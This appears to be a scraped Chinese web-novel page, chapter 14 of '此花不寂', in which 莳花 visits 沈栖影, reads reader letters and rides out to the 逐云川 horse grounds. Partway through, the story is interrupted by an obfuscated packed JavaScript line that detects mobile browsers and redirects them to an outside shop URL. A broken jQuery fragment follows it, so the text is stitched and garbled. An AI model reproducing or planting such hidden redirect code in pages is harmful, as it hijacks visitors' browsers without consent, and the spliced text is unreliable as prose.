文趣网 > 其他小说 > 此花不寂 > 14. 第 14 章
    有花瓣落在茶面上,转悠转悠着,比茶叶还香。

    沈栖影淡淡扫了眼茶面上漂浮的浅白,甫一开口,却是赔了个不是。

    “是我的疏忽,奈何那引仙水榭初建时得名为‘披雨’,便是雨雾朦胧间方窥得奇色。今日未下雨,改日天气适宜,我再差人去信一封,邀女郎一同前去观赏,届时不必再递拜帖,同小厮说一声便是。”

    莳花怔怔听着,衣袖间的手指下意识收紧。

    沈栖影这么大方坦然,她倒是先不好意思了。

    莳花又抿了口茶,掩饰心虚。

    不过沈栖影说话的气度,倒真有几分沈家主人的做派。

    难道没有什么禁令规制,可以就这般随意带外人进出住宅和私人场所?

    她刚想再开口问些什么,就见沈栖影似乎看出来她想什么了似的,补充道:“父亲在我七岁生辰时便将水榭给了我,寻常鲜有人至,女郎不必担心,无人相扰。”

    莳花第二次听到“无人打扰”,有些瞠目结舌。

    ……她不是这个意思。

    沈栖影似乎总是误会她的意思。

    不过话又说回来,等同于引仙水榭现在房产证上写的名字是她了,这可比原先设想的好办许多。

    沈栖影不愧是沈家的独女,有着独一份的话语权,不然她还得从沈君那打一番交道,简直是难上加难。

    思及此,莳花再三道谢,又被沈栖影拦下。

    沈栖影的眸光落在她身上,认真道:“莳女郎若真想表达谢意,不如找个合适的日子随我去逐云川,上回听闻你善骑,我心中一直倾慕,不知可否有这个机会一饱眼福?”

    莳花:……这不太合适吧。

    逐云川是贵族官家们私底下爱去的马苑,里头有一处跑马场,地域辽阔,且水草丰美,她家追雪去了那儿估计能吃成巨人观。

    但是,追雪只是她的交通工具,她没那个心思把人家当表演才艺的工具呀……

    可要是不应下,又会显得自己太过小气,更难承她的情。

    于是乎,莳花只得苦笑着点头应了。

    ·

    余幼仪听到这个消息的时候还很震惊,一边不忘给她灌输“名花榜第一肯定是嫉妒你、对你不怀好意”的思想。

    莳花静静垂着眼睫,握着茶盏的玉指白皙,她淡淡地听了一会儿,也不出声。

    直到这只小白兔最后实在受不了了,倒过来反问她一句:“姐姐说的这个人可真的是沈栖影?邀你去她的水榭还邀你去逐云川?”

    她亮晶晶的眸子里满是不可置信。

    沈栖影此人最是孤傲清高,一副看不起所有人的样子,京都没有一个男子能近她的身,平日里也就对女子态度和缓些,可也万万没到执手话家常的地步。

    莳花抿了口茶,看向窗外庭院里一帧一帧落下来的白色花瓣,不置可否。

    不管沈栖影是什么脾性什么心思,这个引仙水榭,她必须得去。

    目送走又蹦又跳比她还激动的小表妹后,莳花踢了鞋子侧躺到软榻上,一只手架着,另一只手拨动起互动文集来。

    在翻阅前,她先看到了自家编辑大大年如佩提笔写下的几个大字,洋洋洒洒。

    【何时交稿?银子还要否?】

    莳花默了默,吐出一口气。

    她太想一把推翻自己从前写的那些东西了,简直是越看越糟心,恨不得一把火全烧了。

    她急于写些新的东西,但是她也知道这急不得。

    把筋骨打碎再重塑一遍,总是格外难的。

    莳花实在没办法了,却也尽忠职守地担起责任来,把目前没写完的这个故事完结掉,再去造些新的东西。

    一朝清醒,否定自己的滋味也太难受了。

    她漫无目的地翻了几页,看到属于自己那一栏,终于懒懒掀起眼皮。

    一个匿名叫“百花杀今日更新了吗”的读者来信道:【“杀大人”,我本想这么称呼您,显得您威武又霸气,可是又觉得煞气太重,您可能不会喜欢,于是称呼您为“花大人”。花大人,如果我有幸能被您看到,那么一定不要忘了在夏至前把《我与仙君不得不说的二三事》给完结掉呀!】

    莳花:……我谢谢你。

    她眯着眼,往下看去,一个叫做“百花杀再拖文就提头来见”的读者写道:【我命你下月之前把这本写完,然后开一百本新文。】

    莳花:……这个煞气是真的有点重。

    她接着往下看去,一个叫做“百花杀的书我当作枕头垫了三年”的读者嘤嘤泣道:【大人勇敢飞,花花永相随!】

    莳花:……好的这个是真粉丝。

    她搁下手中的册子,手指一下一下点着床沿,兀自笑开。

    好像不管身处哪里,不管居于哪个世界,身后总有一群追随的人,无论是真心还是假意。

    她于是不再多想话本的事,独自歆享了这份殊荣,开始筹划起“小蝌蚪找爸爸”,又叫“爸爸去哪儿”的事来。

    如果说醉仙卷的首卷末尾用五倍子水泼出一首藏头诗,显出一个地名来,那么后续指定的地方可能有着更多的线索。

    说不准这位墨阑先生并没有死,而是游历四方,在一个又一个地方留下手稿,写了一首又一首藏头诗,以引导后人追寻他的踪迹。

    而她作为他的女儿,就这么被牵引着追溯父亲存在过的痕迹。

    当年致使莳砚辞封笔归隐甚至走上逃亡之路的“贵人”是谁呢?会是泽君么?

    倘若她忙活一场,最后到了终点见到的是父亲的尸骨呢?

    她敛了眸,不敢再深想下去,觉得自己的头皮都因这几日海量的信息和过度的思考隐隐发麻。

    窗外那一片虫鸣,在万籁俱寂的夜里显得格外清晰。起初只是三两声试探般的低吟,渐渐地,便连成了绵密的一片,嗡嗡地织成一张绵软的网。

    一声接着一声,像和尚诵经的呢喃,带着慈悲的倦意,像暖雾般漫进窗来,把人的神志一点一点地化开。

    莳花给自己按了按太阳穴,静静缓了一会儿,又想起什么,下了榻去书桌上拿毛笔。

    先给沈栖影去信一封,约定好去逐云川的日子,以免夜长梦多。

    届时她给追雪多喂点肥美的草,让它配合一点完成一场表演,也好展现她的诚意。

    ·

    这日晴光大好,很适合当一枚跑马的汉子。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608541|205828||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天是那种洗过的青瓷色,几缕云也没有,净净地一直蓝到天际头。

    晌午后的日头,是澄澈的亮,并不灼人,只将万物都照得通透。

    槐树的枝叶被这日光一照,绿得有些晃眼,那影子落在地上,便筛得满地的碎金子,明明灭灭的,随风轻颤。

    莳花就这么站在树的枝叶下,摸着微微凸起的小腹,突然有点后悔方才午膳进食了这么多。

    其实也不怪她,逐云川毕竟是望京最负盛名的马苑,王公贵族与朝廷命官们平日里、休沐时都爱来的地方,伙食自然差不到哪儿去。

    莳花抬起一只手遮了一下不知哪处转悠过来有些刺目的日光,眯了下眼。

    下一瞬,伴随着清脆利落的一声响,一把折扇在眼前“哗啦啦”打开。

    那扇子上勾画的是类似于簪花仕女的图景,好一股风流浪荡劲。

    视线上移,映入眼帘的赫然是五皇子那张脸。

    兰因不愧身负“万花丛中过”之名,见了旁边的沈栖影也不怵,只“哎哟哟”地接连叫了几声,逼得莳花都想问他是否有什么毛病。

    兰因摸了摸下巴,拱手作揖道:“今日何其有幸哪,同时得见这位貌若天仙的莳女郎和名花榜第一的沈女郎。”

    莳花:……这骚包。

    她移开了眼,目光倏然落到兰因身侧静立的人身上。

    青年的护腕是由压有鎏金暗纹的鹿皮所制,包裹袖口,束紧了前臂与手掌的连接处,使得小臂的线条显得更加流畅有力。

    窄细精瘦的腰间束一条宽实的织锦腰带,懒懒地插着一把短柄马鞭。小腿部分用行缠紧紧包裹,足蹬一双同样刻画着鎏金暗纹的皮质马靴。

    这腰细腿长的……

    莳花的眸光缓缓上移,投落在青年用玉冠高束起的马尾上,轻嗤了一声。

    半点没有质子的样子,不知道的还以为他才是皇子,身边的兰因只是个风流多情的小厮呢。

    哦不对,梅青缭确实也是皇子,风地的。

    莳花看着他脸上那张遮得严实的面具,忽然感觉更饱了,不禁又摸了摸自己的肚皮帮助消化一下。

    梅长使的嘴倒是半点不饶人,只听得那道低沉好听的声音直直穿透面具传过来。

    “几日不见,倒是身怀六甲了。”

    莳花:?

    她本想反唇相讥一句“你吓到我和我肚子里的孩子了,赔钱”,最后默了片刻,转过身,问身后的沈栖影。

    “我这肚子看起来很大么?”

    一直静立着的女子闻言,掀了掀眼皮,看向莳花身上。

    平心而论,莳花今日难得穿了一身便于骑马的劲装,皮质的腰带将她的腰身收束得很紧,显得更不盈一握。

    她平日里腰就细,穿了这紧身的衣裳腰线更清晰明了,哪怕吃了不少东西,也断没有腰粗的说法,离那句“身怀六甲”更是差了十万八千里。

    可想而知,梅长使那话只是一句戏言。

    女子盯着她腰间停留了半晌,最后启唇道:“没有,很纤细。”

    莳花得到这句肯定,满意地转过头,安稳下来。

    同为女子的评价,总是不会错的。